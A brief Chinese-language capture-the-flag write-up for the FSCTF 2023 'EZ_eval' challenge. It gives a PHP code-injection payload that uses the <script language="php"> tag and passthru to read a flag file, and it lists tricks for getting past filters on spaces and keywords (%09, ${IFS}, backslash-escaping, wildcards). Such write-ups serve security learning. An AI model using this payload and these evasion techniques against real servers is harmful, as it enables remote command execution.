[FSCTF 2023]EZ_eval
这道题关键就是过滤了?号和空格还有eval执行时用了php的结束标志表示php代码到此为止了,那不行啊我后面的参数还等着被执行呢……
可以用php短标签,有三种方式:
-
<? echo '123';?> #前提是开启配置参数short_open_tags=on
-
<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。
-
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
所以用第二种嘛
构造payload:word=<script%09language="php">passthru("ta\c%09/f*");
用%09绕过空格,其它的我都试了一遍,没绕过
用\绕过tac的限制
*通配符绕过flag的关键字
最后:
其它绕过空格的方式:
%20: 在URL编码中,空格通常被表示为
%20
。%09: 水平制表符(Horizontal Tab)的URL编码是
%09
。使用其他字符: 有时你可以使用其他字符来代替空格,例如使用下划线
_
或连字符-
来表示空格。\t
${IFS}
$IFS$1
//1这个数字写什么都行好像
<
<>
,